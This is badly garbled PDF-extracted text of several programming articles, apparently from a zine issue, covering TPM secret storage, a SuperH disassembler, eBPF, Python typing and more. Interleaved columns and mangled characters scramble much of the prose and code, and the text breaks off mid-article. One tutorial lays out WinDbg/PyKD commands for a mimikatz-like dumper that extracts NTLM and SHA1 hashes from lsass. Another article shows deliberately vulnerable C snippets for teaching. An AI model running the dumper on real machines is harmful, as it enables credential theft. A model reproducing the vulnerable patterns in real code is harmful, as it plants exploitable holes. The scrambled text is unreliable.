Idea behind Khazad-d€m • a TPM2 secret manager!
Programming

then added to the TPM's volatile memory, which the


Idea behind Khazad-džm Ð a TPM2 chip encrypts using AES256 obtained from KDF. This
secret manager! process is called sealing. If necessary, secrets can be
extracted from TPMÕs memory in the form of cleartext
The main idea is to prevent an attackers from further
using the unseal operation.
escalation once they succeed in executing a remote
If we didn't care about convenience and automation
Arbitrary File Read attack by properly protecting
in deploying our application, we might even be
secrets (e.g., database credentials). For this, the
tempted to create a solution that would require
TPM2 chip was used, which is now quite common.
entering a password as the sensitive parameter of
That's how the Khazad-džm project was born with
our session during launching app:
the name referring to Moria - the dwarven city from J.
R. R. Tolkien's Middle Earth Mythology. 1. Launch the application.
2. Enter the password (sensitive) of our session.
The secrets should be delivered to the application
3. Application establishes a secure session with the
server already in encrypted form, so elliptic curve
TPM, which uses KDF to generate keys.
cryptography and the Diffie-Hellman protocol,
4. Application removes the password from
supported by the TPM2 standard, will find their
memory.
application here. And the encryption of the secrets
5. Application still has access to the TPM session.
should be done using AES256-GCM, where the key is
6. PROFIT!
derived from the Diffie-Hellman protocol.
In this situation, the attacker would need our
Steps:
password, and attempts to crack it are hindered by
1. [APPSRV] Generate the secret encryption policy,
the TPM's built-in locking mechanisms. Thus brute-
that is, the type of algorithm, the public key of the
force becomes an online attack. And after several
application server from the TPM.
unsuccessful attempts, the TPM temporarily blocks
2. [DEVHST] Create an EC key pair on our machine.
access.
3. [DEVHST] Based on the encryption policy and
This project can be problematic because with large
our key pair, we encrypt the secrets and deliver
infrastructures it requires generating a sealing policy
them to the application.
on each host and providing secrets. The same with
4. [APPSRV] The application at startup calculates
the Password Method, what if for some reason our
the AES256-GCM symmetric key using ECDH,
application/container resets? Without our
which is used to decrypt secrets.
intervention, it won't be able to run.
5. [APPSRV] Seal secrets in the TPMÕs volatile
memory. Note: Adding a password to environment variables is
6. [APPSRV] If necessary, the secrets are decrypted not the solution my friend!!
using TPM's native functions and transferred to On the other hand, a definite advantage over the
the appropriate libraries. currently available Vault is that we don't have to
An HMAC session is created, which is a secure worry about maintaining it. Remember that Vaults
connection between the application and the TPM. To are another software that should be properly
establish it, an additional parameter sensitive can secured against unauthorized access. And of course!
be used, which is a kind of authentication method. Vaults themselves also have their vulnerabilities :)
It's not that if you enter a bad password, you can't This project is an inspiration and a different
establish a session, you can, but because sensitive perspective on the matter. Maybe you can find some
is the input value to the Key Derivation Function, thus solutions to the presented problems?
a different sensitive is a different key. And this For more visit GitHub repo:
applies to any types of keys (EC, AES, etc.) in the https://github.com/LeftarCode/khazad-dum
context of an established session. Our secrets are WARNING: Deployment in production risks a Friday fire!!! ( ͡¡ ͜ʖ ͡¡)

Mateusz Lewczak
GH: https://github.com/leftarcode
Website: https://mlewczak.com
32 WTFPL
Building a SuperH-4 (dis)assembler
Programming

Building a SuperH-4 (dis)assembler


by Dhruv Maroo, for Paged Out!

What is SuperH? Smart lookup table entries


SuperH is a 32-bit RISC architecture for embedded systems, developed Let’s take a look at the lookup table entries (found in lookup.c).
by Hitachi, and currently owned by Renesas. The ISA which we are
concerned with is SuperH-4 (a.k.a. SH-4). // MOV.W Rm, @Rn | 0x6NM1 | store Rm in a word at memory Rn
It has a small, constant-width (2-byte wide) instruction set, with 16 { "mov.w", SH_OP_MOV, OPCODE(6, N, M, 1), // mnemonic and opcode
general purpose registers, and separate banked registers for the priv- 0x0ff0, SH_SCALING_W, // opcode mask and scaling
{ ADDR(NIB1, SH_REG_INDIRECT), // Rn indirect operand
ileged instructions. It has an FPU too, but we won’t be considering
ADDR(NIB2, SH_REG_DIRECT) } } // Rm operand
floating-point instructions (and corresponding registers) in this article.
// ADD Rm, Rn | 0x3NMc | add Rm to Rn
{ "add", SH_OP_ADD, OPCODE(3, N, M, c),
Goal 0x0ff0, SH_SCALING_INVALID,
The goal is to come up with a simple, maintainable, extendable and { ADDR(NIB1, SH_REG_DIRECT), // Rn operand
ADDR(NIB2, SH_REG_DIRECT) } } // Rm operand
safe assembler and disassembler. Now, if you search online, you
will find multiple articles roughly outlining how to implement such // OR #imm, R0 | 0xcbII | logical or imm with R0
a (dis)assembler. Almost all of them resort to using some variation { "or", SH_OP_OR, OPCODE(c, b, I, I),
of conditional matching, could be if-else conditions, pattern matching, 0x00ff, SH_SCALING_INVALID,
switch-cases and so on. But this approach is not the best way to go { ADDR(NIB0, SH_IMM_U), // imm operand
PARAM(R0, SH_REG_DIRECT) } } // R0 operand
about it.
Why? Because, there is a lot of code and a lot of conditions, which
makes it harder to understand, navigate and maintain. Try having There are a bunch of macros being used in the above snippet, but
a look at QEMU’s TCG source code to see how cumbersome it can the basic idea is encoding the operands and the positions where these
become to maintain such code patterns. operands occur. Now, while assembling, we can just search for the
mnemonic and the operand types/encoding, which will give us the cor-
Solution rect instruction. And now we can use the opcode with the correct
operand nibbles (NIB0, NIB1 and so on) and get the assembled instruc-
Factor out the entire common computation by exploiting the instruc- tion. During disassembly, we will mask out the operand values and
tion structure, and store the remaining instruction-specific stuff as data search for the opcode, and then extract the operand values from the
rather than code. Doing this allows us to keep the (dis)assembly code as operand nibbles.
generic as possible, thus reducing repetition. This also introduces a log-
ical separation between all the instructions, allowing the programmer
Unified (dis)assembler code
to modify one instruction’s attributes without worrying about other
instructions being affected. This allows for incremental development Because of this table, the (dis)assembler code is very generic and
and easier debugging. Lookup-tables try to do exactly this, in some just loops through the lookup table and does some string manipula-
capacity, but what I’m suggesting is smarter lookup-tables. tions. There is no complexity, nor any coupling with the ISA in the
(dis)assembler code (assembler.c, disassembler.c). Plus, modifying or
Code adding instructions can be done independently without affecting other
instructions at all. Effectively, we have moved all the computation to
I worked on the SuperH (dis)assembler for Rizin, and you can find all the data in the lookup table, which leads to much neater code. More-
the relevant code in the librz/asm/arch/sh directory. The directory has over, generating lookup tables is a very straightforward task and can
the following files. be automated as I discuss in the Future work section.

$ tree librz/asm/arch/sh Possible improvements


librz/asm/arch/sh Currently, the lookup-table is just a C array, but it can be changed to a
|-- assembler.c # generic assembler code better data structure. Something like a splay tree (or even if-else con-
|-- assembler.h
|-- common.h # helper structs and macros
ditions) would improve search times. In fact, ordering the instructions
|-- disassembler.c # generic disassembler code in the likelihood of their occurrence would also improve the speed.
|-- disassembler.h Moreover, the type system does not enforce the validity/consistency
|-- lookup.c # instruction lookup tables between the opcode and the operands. This sort of type verification
|-- regs.h would be feasible in a strongly-typed functional language, like OCaml.
1 directory, 7 files
Lastly, it may not always be possible for every ISA to be decoupled
this easily. A more general approach is required if we need this to be
extendable to other architectures as well.
The design of the (dis)assembler is interesting, but for the sake of
brevity, I will only discuss things which I find pretty cool.
Current standard
Macro passed as an argument to a macro There is no well-known assembler+disassembler framework. But, Cap-
stone is a state-of-the-art disassembler and Keystone is a well-known
There are multiple macros in the common.h file. Some of these are nested assembler. Capstone does not have a lookup based architecture and
macros which also take in arguments. I specifically want to discuss the resorts to matching the instructions byte-by-byte. Keystone, on the
OPCODE macro. other hand, is built on LLVM MC. This approach of reusing the LLVM
tool is much better since this avoids parser differential issues, and leads
// to form opcode in nibbles to less code needing to be maintained. There is also an effort of shift-
#define OPCODE_(a, b, c, d) 0x##a##b##c##d
#define OPCODE(a, b, c, d) OPCODE_(a, b, c, d)
ing Capstone to start using LLVM’s TableGen backend. In this new
approach, the TableGen entries are used to programmatically generate
disassembly code.
The above macro just concatenates the 4 nibbles to form a 2-byte
word in hexadecimal. It seems unnatural and unnecessary to define the
Future work
OPCODE macro with another helper OPCODE macro. But it is really useful
if we are going to pass in a macro as one of the arguments to the macro. With the rise of LLMs, we can automate the lookup table generation.
This way the macro argument gets evaluated and does not get directly Since the (dis)assembler code is generic and ISA-independent, we only
used in the OPCODE macro. Consider the following usage. need to write it once and after that we can just feed in the program-
mer manual to an LLM which can (ideally and hopefully) generate the
// placeholder byte for operand correct lookup tables for that architecture. In fact, if you want to try
#define I f // immediate operand it out by yourself, you can pass in the lookup table format and a few
#define N f // register Rn operand instructions from the manual to ChatGPT, and ChatGPT will likely
int a = OPCODE(a, I, 4, N); // 0xaf4f
generate accurate lookup table entries for those instructions.

Acknowledgements
Without using OPCODE , the value of a would be 0xaI4N which is ob-
viously incorrect and is not even a valid hexadecimal value. But using I built the (dis)assembler for Rizin, a reverse-engineering framework.
a second helper macro makes the preprocessor perform two passes on Do check it out, it’s a pretty cool tool! Since then, a SuperH disassem-
the code, which results in the correct answer (0xaf4f). This is going to bler has been merged into Capstone. I also presented on the same topic
be very useful in the lookup table since it will allow us to specify the at my university, and you can find that presentation here (it is slightly
instruction opcode/bytes in a neater manner. more detailed).

Dhruv Maroo
GitHub: https://github.com/DMaroo
CC0 33
Adding a custom syscall without modifying the Linux kernel € eBPF
Programming

Adding a custom syscall // Defines a function that is attached


// to sys_enter. The macro provides

without modifying the


// an `args` parameter.
TRACEPOINT_PROBE(raw_syscalls, sys_enter) {
if (args->id == MY_SYSCALL_NO) {
Linux kernel – eBPF u64* ret_buf = (u64*)args->args[0];
my_syscall(ret_buf);
Can one define a new syscall without modifying the }
Linux kernel? Yes, this article shows how to do it in // eBPF verifier requires loaded
tens of lines of code. // programs to always return a value.
Let us set a target: add a custom system call return 0;
that counts how many times a given thread1 called it. }
Linux provides a mechanism called eBPF
(extended Berkeley Packet Filter). This mechanism, static void my_syscall(u64* ret_buf) {
initially meant for packet filtering, was extended later, // Truncate the return value to lower
allowing for more now, including installing hooks on // 32 bits, which contain PID.
kernel- and user-space functions. In short, one can u32 pid = bpf_get_current_pid_tgid();
u64 zero = 0;
write a program, compile it into eBPF bytecode, and
u64* val = pid2cnt.lookup_or_try_init(
load it into the kernel. The kernel verifies the bytecode
&pid, &zero); // Syntax - see 5
safety when loading it2.
if (val == NULL) { return; }
eBPF programs can be attached to tracepoints
*val += 1;
and functions in the kernel. Here is the idea: let us
// Write to the userspace.6
attach such a program to sys_enter, which is called
bpf_probe_write_user(
when performing a system call3. ret_buf, val, sizeof(u64));
The following example uses bcc (BPF Compiler }
Collection) and was run on Linux 6.5.9.
To start, we need some boilerplate script that // The following function will be attached
compiles a program into eBPF bytecode and loads it // to the `do_exit` kernel function, which
into the kernel: // is called upon process death.
// Let us clean up the allocated memory.
# loader.py int kprobe__do_exit() {
from bcc import BPF u32 pid = bpf_get_current_pid_tgid();
from time import sleep pid2cnt.delete(&pid);
return 0;
b = BPF(src_file="bpf_prog.c") }
# Do not exit immediately. The last piece, for testing the new syscall:
# It would unload the eBPF program.
try: sleep(9999) # tester.py
except KeyboardInterrupt: pass import ctypes
import struct
Now, it is time for the eBPF program itself:
MY_SYSCALL_NO = 0x31337
// bpf_prog.c
libc = ctypes.CDLL(None)
#define MY_SYSCALL_NO 0x31337
buf = ctypes.create_string_buffer(8)
// Global map, from PID4 into a counter.
for i in range(16):
BPF_HASH(pid2cnt, u32, u64);
libc.syscall(MY_SYSCALL_NO, buf)
num_ret = struct.unpack('<q', buf.raw)[0]
// Forward declaration of our syscall.
print(num_ret)
// It has one argument: a pointer where
// to store the counter (return value).
If our eBPF program is loaded, the tester script will
static void my_syscall(u64* ret_buf);
print consecutive numbers.
In barely tens of lines of code, one can define
their syscall. This article just scratched the surface of
1
Why thread? For simplicity, to avoid the need for synchronization.
2
This solution can have a funny, or rather annoying, side effect:
eBPF possibilities, and there is more to explore out
when modifying code, the compiler can decide to generate a there for curious readers!
different bytecode for “neighboring” code, causing the eBPF verifier
to change its verdict on the safety of the code.
3
An alternative idea, to avoid attaching directly to sys_enter, would 5
These “method calls” are achieved by having a struct member that
be to attach code to an existing syscall and specify a magic value is a function pointer. Later, custom clang frontend rewrites this code,
that is considered invalid – for example -42 (negative number) as a “inlining” these “methods.”
file descriptor. 6
An alternative is bpf_override_return, which allows for
4
In the kernel, process means a userspace thread. A userspace overwriting the return value of certain kernel functions. Both
process is known as a thread group in the kernel. approaches have security implications.

Artur Jamro
https://github.com/mrowqa
34 SAA-TIP 0.0.7
Most common vulnerabilities in C/C++
Programming

Memory Leaks
Most common memory LOOP
type VARIABLE = malloc(sizeof(type))
vulnerabilities in C/C++
int main(int argc, char **argv)
{
This article aims to present the most common memory corruption
for(count=0; count<LOOPS; count++);
vulnerabilities to beginners in C/C++. It starts by outlining the al- {
gorithm and then demonstrates a very simple and straightforward pointer = (char *)malloc(sizeof(char) * MAXSIZE); // Multiple allocation
implementation in C. results in a memory leak.
}
free(pointer);
Stack buffer overflow return count;
}
type VARIABLE[SIZE]
VARIABLE = (VALUE > SIZE)
Double-free

type VARIABLE = malloc(sizeof(TYPE))


void vulnerable_function()
free VARIABLE
{
...
char buffer[10];
scanf(“%s”, buffer); // Unbounded write to fixed size variable free VARIABLE
}
char* ptr = (char*)malloc (SIZE);
...
Heap buffer overflow if (abrt) {
free(ptr);
}
type *VARIABLE = malloc[SIZE]
...
*VARIABLE = (VALUE > SIZE)
free(ptr); // Double-free
void vulnerable_function()
{
char *buffer = (char *)malloc(10); Out-of-Bound Write
scanf(“%s”, buffer); // Unbounded write to fixed size variable
}
type VARIABLE[SIZE]
VARIABLE[> sizeof(VARIABLE)] = VALUE
Off-by-one error
int id_sequence[2];
type VARIABLE[SIZE] id_sequence[0] = 123;
LOOP condition: if counter == sizeof(VALUE) then id_sequence[1] = 234;
VARIABLE++ id_sequence[2] = 345; //OOB-Write
VALUE > VARIABLE[SIZE]

void process_string(char *src) Dangling Pointers


{
char dest[32]; type *VARIABLE
for (i = 0; src[i] && (i <= sizeof(dest)); i++) func(&VARIABLE)
{
dest[i] = src[i]; // Last iteration results in off-by-one int main()
} {
int *i;
vuln_func(&i);
Use-After-Free }

type VARIABLE = malloc(sizeof(TYPE))


free VARIABLE
Unbounded string copies
VARIABLE = VALUE
type STRING[SIZE]
func READ(VALUE)
char* ptr = (char*)malloc (SIZE);
string = (VALUE > string[SIZE])
if (err) {
abrt = 1;
int main()
free(ptr);
{
}
char Password[80];
if (abrt) {
puts(“Enter 8 char password: “);
logError(“operation aborted before commit”, ptr); // Use-After-Free
gets(Password);
} }

HEY YOU! Feel like a Hacker? 1. The Art of Vulnerability assessment. Justin Schuh, John McDonald,
GO HUNT on https://up-for-grabs.net Mark Dowd

Salim LARGO
@2ourc3 || bushido-sec.com
SAA-TIP 0.0.7 35
Help Your Program!
Programming

Imagine you process lots of data, but some of the entries are a bit difficult to handle in code.
What if you could give your program a hand just when it needs it?

if value, err := hand.HelpWith(Foo)("value my function cannot handle"); err != nil {


return nil, err
}

////////////////////////////////////////////////////////////////////////////////////////////////////////////////
$ ./program # Green font is user input.
hand: /home/user/src/program.go:1337 -- f([value my function cannot handle]) = (_, not a number).
hand: Fix?
1024(press Ctrl+D to signal EndOfFile)
Program succeeded! The numbers were: 123, 58, 22, 693, 1024, 6230.

////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// github.com/kele/hand
package hand

import (
"encoding/json"
"fmt"
"io"
"os"
"runtime"
)

// HelpWith helps recover from errors.


// If f returns an error, Prompt and GetAnswer are called so the developer can supply the Result.
// TODO($READER): Add HelpWith2, HelpWith3, HelpWith4… for functions with more arguments.
func HelpWith[Arg1 any, Result any](f func(Arg1) (Result, error)) func(Arg1) (Result, error) {
return func(arg1 Arg1) (Result, error) {
v, fErr := f(arg1)
if fErr == nil {
return v, nil
}
var ret Result
if err := Prompt(fErr, arg1); err != nil {
return ret, fmt.Errorf("hand.Prompt() = %v; original error: %w", err, fErr)
}
if err := GetAnswer(&ret); IsAnAnswer(ret, err) {
return ret, nil
} else {
return ret, fmt.Errorf("hand.IsAnAnswer() = false, hand.GetAnswer() = %v; original error: %w", err, fErr)
}
}
}

// Prompt is called after the function supplied to HelpWith returns an error.


var Prompt = func(fErr error, args ...any) error {
_, file, line, _ := runtime.Caller(1)
fmt.Printf("hand: %v:%v -- f(%v) = (_, %v).\nFix?\n", file, line, args, fErr)
return nil
}

// GetAnswer should fill the object with the Result.


var GetAnswer = func(object any) error {
input, err := io.ReadAll(os.Stdin)
if err != nil {
return err
}
return json.Unmarshal(input, object)
}

// IsAnAnswer should return true if the answer supplied via GetAnswer should be
// considered as one, cf. treated as "I don't know the answer".
var IsAnAnswer = func(object any, err error) bool {
return err == nil
}

Damian "kele" Bogel


https://kele.codes
36 SAA-TIP 0.0.7
Retro Rendering Using an Octree
Programming

Retro Rendering Using an Octree


We start with a list of cubes. There are 5 cube There are two slightly different ways of rendering
types: empty, parent, chunk, solid, and angled. depending on if you will use shaders or not.
Parent and chunk cubes are stems. Parent cubes have
8 children and chunk cubes have 1 child, a visibility To render without shaders, for every opaque
list, and a prop list. Solid and angled cubes are leaves triangle, render it with blending disabled and add it
and both have triangles for each of the 6 cube faces. to a list. Add transparent triangles to a separate list.
In addition, angled cubes have a seventh group for Next, enable blending and ensure the blending mode
the slant, and attributes for the slant’s pitch, yaw, multiplies to the destination (glBlendFunc(GL_
and fill, which are used in collision. Empty cubes are DST_COLOR, GL_ONE_MINUS_SRC_ALPHA) on
also leaves. OpenGL). Ensure the depth test mode is set to less or
equal and render the lightmaps using the list of
opaque triangles. After that, disable depth writing
(glDepthMask(GL_FALSE) in OpenGL) and render
the list of transparent triangles backwards using an
appropriate blending mode (such as glBlendFunc(
GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA) on
OpenGL). For each transparent triangle, render the
lightmap for that triangle immediately after rendering
the triangle.
Figure 1: Example of how a solid cube (left) and angled cube (right) look

To render with shaders, render the opaque


To prepare for rendering, we start by traversing triangles with blending disabled while handling
the tree towards the camera until we hit a chunk lightmaps in the shader. Add the transparent
cube. For a fast lookup, put the children in a specific triangles to a list. Next, set an appropriate blending
order, and index them based on which sides of the mode, disable depth writing, and render the list of
cube the camera is on: transparent triangles backwards while also handling
next = children[ lightmaps in the shader.
(cube.x > camera.x) |
((cube.y > camera.y) << 2) |
If you want to render props, keep a ‘rendered’
((cube.z > camera.z) << 1)
]; flag on each one since multiple chunk cubes may
reference the same prop. While you are rendering
Once a chunk cube is reached, copy its visibility list cubes, render props listed by chunk cubes you come
which should already be ordered from the nearest to across as long as the prop’s ‘rendered’ flag is clear.
the farthest, contain only stems, and include itself or When rendering a prop, add it to a list and set its
a parent of itself. Next, perform frustum culling on ‘rendered’ flag. For lighting, props should already
the list. have a base light value and a list of dynamic lights
with a multiplier for each of them. Start with the base
To render, traverse each cube on the culled list. light value and for each enabled dynamic light in the
Traverse parent cubes from front to back. This can be list, add its light value times the multiplier. Use the
done quickly by using predefined orders and indexing result as the vertex color (or multiply if the prop
the list of orders using the previously mentioned model already has vertex colors). When you are done
method. For leaves, render the triangles of the sides rendering the scene, go through the list of props you
that are facing the camera and for angled cubes, made and clear the ‘rendered’ flag of each.
render also the triangles for the slant. Determining
which sides to render can be done with 3 If you want to render a skybox, render all the
comparisons between the cube and camera: maps and props using a slightly smaller depth range
if (cube.x > camera.x) (something like glDepthRange(0.0, 0.9) in
rendface(cube, FACE_BACK); OpenGL). Render the skybox planes with a depth
else
locked to the farthest value ( glDepthRange(1.0,
rendface(cube, FACE_FRONT);
... // do for other 2 axes 1.0) in OpenGL). Render clouds from back to front
with an appropriate blending mode.

PQCraft
https://github.com/PQCraft
Public Domain 37
High Assurance Rust
Developing Secure and Robust Software
Read for free now: https://highassurance.rs

https://book.martiandefense.llc
CyberSpace Notebook:
This notebook is continuously maintained by experienced professionals, this reference offers:

Hands-On Training Insights: Gain practical knowledge from experiences with HacktheBox/
TryhackMe and security assessments based on the OWASP Web Security Testing Guide.

Educational Content: Enhance your skills and understanding, strictly for educational and
ethical application.

https://book.martiandefense.llc
Click here >>>> https://book.martiandefense.llc

Note: This notebook is intended for educational purposes and technical referencing. The authors
and publishers do not condone or support any illegal or unethical activities.
State machines in frontend
Programming

State machines in frontend

I. Introduction The connect is a helper function to map every DOM


attribute and event handler with their corresponding
State machines have been with us since the creation of HTML tag in the checkbox component.
logic gates, and today they also found their way into fron-
tend applications. They serve as a unified layer of logic
III. Consuming a state machine
for components. On their basis, the Zag.js library was cre-
ated. It is a collection of ready-made state machines for To use the checkbox machine, we need to utilize the
the most popular components such as a menu, for exam- machine and connect with our favorite framework.
ple, or a color picker. With a logic layer prepared in this import { useMachine } from "@zag-js/react"
way, component libraries can be easily created for any import { machine, connect } from "./checkbox"
popular frontend framework without reimplementing the function Checkbox() {
const [state, send] = useMachine(machine)
logic because of the differences between those. [1]
const api = connect(state, send)
A. What is a state machine? return (
<div>
A finite-state machine is simply a mathematical model.
<button
It consists of a finite number of states with initial state and {...api.buttonProps}
inputs triggering defined transitions. A change from one style={{
state to another is done by sending one of the signals avail- background: api.checked ? "green" : "red",
}}
able for the current state. Zag.js extends it with a global
>
context with additional values for each distinct machine. {api.checked ? "✓" : "✕"}
</button>
II. Checkbox in Zag.js <div>
State: {api.checked ? "CHECKED" : "UNCHECKED"}
Let’s dive into the realm of Zag.js and make the simplest </div>
possible machine. As a reference, I will use the WAI-ARIA </div>
)
specification of a checkbox. [2] This component consists }
of the two states, checked and unchecked. It supports two
possible transitions, from unchecked to checked and vice
IV. Conclusion
versa.
// checkbox.js Below is the final result of the implemented checkbox
import { createMachine } from "@zag-js/core" machine.
const machine = createMachine({
initial: "unchecked", A. In the unchecked state
states: {
checked: {
on: { CLICK: { target: "unchecked" } },
},
unchecked: { B. In the checked state
on: { CLICK: { target: "checked" } },
},
},
})
function connect(state, send) { It is worth noting that using state machines helps follow
const checked = state.matches("checked")
return {
WAI-ARIA specifications and resolves possible issues in
checked, the framework-native approach to logic implementation.
buttonProps: { As someone said, one code to rule them all :)
type: "button",
role: "checkbox",
References
"aria-checked": checked,
onClick() { [1] S. Adebayo, “Zag.js - Rapidly build UI components without sweat-
send("CLICK") ing over the logic.”, Available: https://zagjs.com/
},
}, [2] “Checkbox Example (Two State)”, Available: https://www.w3.org/
WAI/ARIA/apg/patterns/checkbox/examples/checkbox/
}
}

Micha€Korczak
https://omikor.in
github.com/Omikorin
SAA-ALL 0.0.7 39
Python's typing is cursed and I love it
Programming

def main( $ python hello.py


line0: print("Hello World!"),
line1: print("What's your name?"), Hello World!
line2: (x := input("Name plz: ")), What's your name?
line3: print(f"Your name is: {x}") Name plz: gynvael
):
run Your name is: gynvael
Python typing is... interesting. I'm still not sure if it's absolutely cursed and a terrible idea, or absolutely cursed
and one of the best typing implementations I've seen. Well, one way or another, it's cursed, as demonstrated by
the code above, which abuses the typing syntax for fun and profit
(https://twitter.com/gynvael/status/1726201121537135013).

Joke-codes aside, you're probably more familiar with the following use of this syntax:
No, this is not a CTF.
Really. OK, so why is there an
variable name variable type return type easter egg?
I mean... why not?
OK, here's a flag:
CTF{IWasHiddenButYouFoundMe}
No, there is no scoreboard. This is

def func(a: int, b: List[str]) -> str: not a CTF.

return b[a] # Doesn't matter.


This looks pretty typical: a colon to separate the name and the type, and an arrow used to indicate the return
type. So, what's so special about this?

In most typed languages, all typing syntax is like a separate world that uses its own grammar and, in general,
exists beyond the typical language expressions and statements that make up the majority of the code.

In Python, that's not that case. You see, type annotations in Python are normal expressions. Same kinds of
expressions like e.g. 2+2. That's exactly what the code at the beginning abuses, and why it uses the "x :=
expression" syntax instead of "x = expression" to assign a variable (the former is an expression while the
latter is a statement, and the typing information needs to be an expression).

Each of these type expressions are evaluated at the moment of function instantiation, i.e. at run time when the
function is constructed.

The result of an expression evaluation is a value. So, what happens with said calculated value? It actually goes
into a dictionary with a given variable name used as a key. This dict can be found in the field __annotations__
of a function object. For example:

print(func.__annotations__) Offtopic: Python function instantiation / construction

In Python, if you have a function definition like this...

def func():
pass

$ python types.py ...it's actually equivalent to the following pseudocode:

{'a': <class 'int'>, func = MAKE_FUNCTION(func_function_object)

'b': typing.List[str], This pseudocode is executed in whatever scope the


function was defined in, which usually is the given
'return': <class 'str'>} module's "global" scope.

One thing we can immediately notice, is the nice little abuse of the fact that "return" is a keyword, therefore, no
variable can be named like that. As such, it was available to be used as a special magic key in the annotations
dictionary (INB4 Python anti-decompilation idea: changing variable names to keywords like if, for, except, etc).

So, what's with the weird List[str] syntax? Well, it's just a hack. Without going into the weird internals of the
typing.List object, let's just say that its implementation overloads the [] indexing operator (i.e. it defines a
__getitem__ method). Regardless, it's just a simple "metadata" object that can be used in place of the list
type/class itself, as there is no way to annotate list with the type of elements it's supposed to hold.

Anyway, there are two things I find amazing here. Firstly, the types are calculated at runtime. Abused, this can
play merry hell with any static typing linters. Secondly, using either __annotations__ field, or better,
typing.get_type_hints() function, you can take advantage of the typing system and build various tools
pretty easily. Here's an example – a simple library that used __annotations__ and __doc__ fields of a function
to automatically generate a JSON Schema describing a function/tool to be used with OpenAI's ChatGPT API:
https://github.com/gynvael/agent_helpers/blob/7d2917f2eb5abc0879b224f118f3b6a232ba4c99/agent.py#L65

Gynvael Coldwind
https://gynvael.coldwind.pl
https://hexarcana.ch
40 SAA-ALL 0.0.7
A PyKD tutorial for the less patient
Reverse Engineering

A PyKD tutorial for


3. Install the PyKD and pyDes modules by
running the following:
C:\> python -m pip install pykd

the less patient


C:\> python -m pip install pyDes
4. Remember to import PyKD in our script
import pykd
As I myself have struggled many times in the past, 5. If everything is correctly set up, then we can
I decided to illustrate how to set up a proper x64 call up the script from within WinDbg:
PyKD environment and hopefully make this pesky kd> .load pykd
task easier for others. kd> !py <path to script.py>
For anyone who may be unaware of what PyKD is, So far so good. But what script should be used to
here’s a quote from their website1 (currently properly test PyKD superpowers?
offline) Armed with our knowledge, we can sketch a
“This project can help to automate debugging and credential dumper that will mimic (!) the mimikatz
crash dump analysis using Python. It allows one to behavior. Then, from a WinDbg local kernel
take the best from both worlds: the expressiveness session, we can parse the nt process list, get lsass
and convenience of Python with the power of EPROCESS address and attach the debugger to it.
WinDbg!” processLst =
As most of the latest Windows versions are nt.typedVarList(nt.PsActiveProcessHead
, "_EPROCESS",
running on x64, it feels natural to stick to this "ActiveProcessLinks.Flink")
architecture. As a PyKD introductory example, we for process in processLst:
are going to debug the lsass.exe process from the processName =
kernel perspective, since it wouldn’t be possible to loadCStr(process.ImageFileName)
attach to the process from userland. if processName == "lsass.exe":
eproc = ("%x"% process )
First, however, we should ensure that we have pykd.dbgCommand(".process /i /p /r %s"
installed a single x64 Python 3.8 version on our % eproc)
windows machine: to avoid mingling with PATH or We then fetch username, logondomain and
other conflicts, no x86 Python version should be encrypted data of the user’s hashes and the
installed. different offsets, relative to LogonSessionList
PyKD supports both the 3.6 and the 3.8 versions, pykd.dbgCommand("!!list -x \"dS
so we should get rid of Python2.x as it’s been @$extret+0x90;dS @$extret+0xa0;db
poi(poi(@$extret+0x108)+0x10)+0x30 L1B0\"
already declared dead for good. poi(lsasrv!LogonSessionList))
Note: I have tested all the following on an up-to- The 3DES key can also be obtained by relying on
date Windows 11 22H2 machine and Python 3.8.10 debugging symbols.
So, here’s the entire recipe on how to install PyKD: pykd.dbgCommand("db
1. Download the latest PyKD x64 dll version here 2 (poi(poi(lsasrv!h3DesKey)+0x10)+0x38)+4
and copy it to the user’s home folder. L18")
Then set this environment variable: After some further data polishing, the user’s
setx _NT_DEBUGGER_EXTENSION_PATH hashes are now revealed.
"c:\users\uf0" /M kd> !py c:\uf0\PyKDumper.py
(*)USERNAME :”leon"
2. Verify that we can load it from WinDbg by (*)LOGONDOMAIN :"DESKTOP-GG4KMP3"
getting a similar output and make sure that (*)NTLM :5fe1f02385fb9adb1b1a1b0bd878f2ae
the loaded python version matches the x64 (*)SHA1
version. :b80d152f2617df39cedda66437a1460d60b2166b
0: kd> .load pykd The entire project can be found here3. PyKD can
0: kd> !py provide further WinDbg integrations, such as Heap
Python 3.8.10 (tags/v3.8.10:3d8993a, May 3
2021, 11:48:03) [MSC v.1928 64 bit (AMD64)] on Tracing4, exploitation tool5 or a debugger UX6. I
win32 challenge the reader to come up with new ideas
(how about memory forensic?).

1 https:// githomelab.ru/pykd/pykd 4 https://labs.f-secure.com/archive/heap-tracing-with-windbg-and-python/


2 https://github.com/uf0o/PyKD/tree/main/x64
5 https://github.com/corelan/mona
3 https://github.com/uf0o/PykDumper
6 https://github.com/snare/voltron

Matteo Malvica
https://twitter.com/matteomalvica
SAA-ALL 0.0.7 41
Deceptive Python Decompilation
Reverse Engineering

Deceptive Python Decompilation The resulting code isn’t even valid Python code. The
Software obfuscation is the science and art of modify- downside with this technique is that it is very obvious
ing a program to hide certain aspects of it, for example that something went wrong and a slight adjustment to
what the program does or how it accomplishes a certain the decompilation process completely neutralizes it.
task. The goal is to slow down reverse engineering of Inspired by this method, we can do something more
the program to exhaust the analyst’s “budget” whether subtle. Consider the following code which almost im-
that is time, money or interest. Some obfuscation tech- plements RC4:
niques are better at thwarting automated analysis, for
def rc4(data, key):
example by exploiting assumptions and limitations in
...
analysis tools, while others are more aimed at making
for i in range(256):
life a pain for a human reverse engineer. The latter type
...
can be achieved for example by adding a lot of useless
OBFUSCATION = 0
stuff to the program or writing code that seemingly does
for b in data:
one thing while it actually does something else1 .
